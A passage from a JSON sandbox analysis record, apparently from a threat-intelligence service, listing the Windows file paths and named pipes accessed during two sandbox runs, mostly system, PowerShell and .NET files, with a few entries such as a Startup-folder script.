000000000027.db","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%APPDATA%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32\\en-US\\shell32.dll.mui","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%PUBLIC%\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"C:\\Users\\Public","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%PUBLIC%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"C:\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"C:\\Windows","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\hh.exe","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\2IWPMLJDD1LPCXGR79MZ.temp","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\machine.config","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config.cch","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\index357.dat","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\assembly\\pubpol247.dat","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\l_intl.nls","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\getevent.types.ps1xml","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\WSMan.Format.ps1xml","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{F5E5586C-DA91-47DA-AEAC-0A88CD2FFB01}","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32\\en-US\\ulib.dll.mui","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32\\en-US\\user32.dll.mui","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\winsxs\\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_581cd2bf5825dde9\\comctl32.dll.mui","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%PROGRAMFILES%\\Mozilla Firefox\\browser\\omni.ja","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\g4h7miqt.default\\search.json","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"60a0699814c58a17ef4dc93f"},{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\AppPatch\\pcamain.sdb","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\en-US\\shell32.dll.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\en-US\\USER32.dll.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\WinSxS\\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_581cd2bf5825dde9\\comctl32.dll.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\assembly\\pubpol47.dat","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"C:\\BVTBin\\Tests\\installpackage\\csilogfile.log","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\l_intl.nls","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\index23b.dat","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\appView.js","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\tasklist.exe","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\en-US\\tasklist.exe.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\wbem\\en-US\\wmiutils.dll.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\en-US\\crypt32.dll.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_5EBE6DB976D2A24B70511DE6385541FC","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\en-US\\WINHTTP.dll.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\B912B2C6928A18B8CD7D50CF08BEA95B_6FD3C738B56C5C7BDAA902260EC44382","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\B912B2C6928A18B8CD7D50CF08BEA95B_71033671CBD4AA4D338E9CCFBF0263BF","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\B912B2C6928A18B8CD7D50CF08BEA95B_71033671CBD4AA4D338E9CCFBF0263BF","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\en-US\\setupapi.dll.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%TEMP%\\vc_redist.x86.exe","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%TEMP%\\{e2803110-78b3-4664-a479-3611a381656a}\\.ba1","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\imageres.dll","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\en-US\\imageres.dll.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"pipe\\BurnPipe.{06609D32-1CFD-49CA-999A-E81D23E663E7}","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"pipe\\BurnPipe.{06609D32-1CFD-49CA-999A-E81D23E663E7}.Cache","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\en-US\\MSCTF.dll.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\Fonts\\staticcache.dat","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\WinSxS\\x86_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_581cd2bf5825dde9\\COMCTL32.dll.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\en-US\\tzres.dll.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\WindowsUpdate.log","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\Restore\\MachineGuid.txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"PIPE\\lsarpc","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\en-US\\VssTrace.DLL.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%TEMP%\\dd_vcredist_x86_20170707140252.log","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\Wbem\\WMIC.exe","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\find.exe","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\System32\\Wbem\\en-US\\WMIC.exe.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]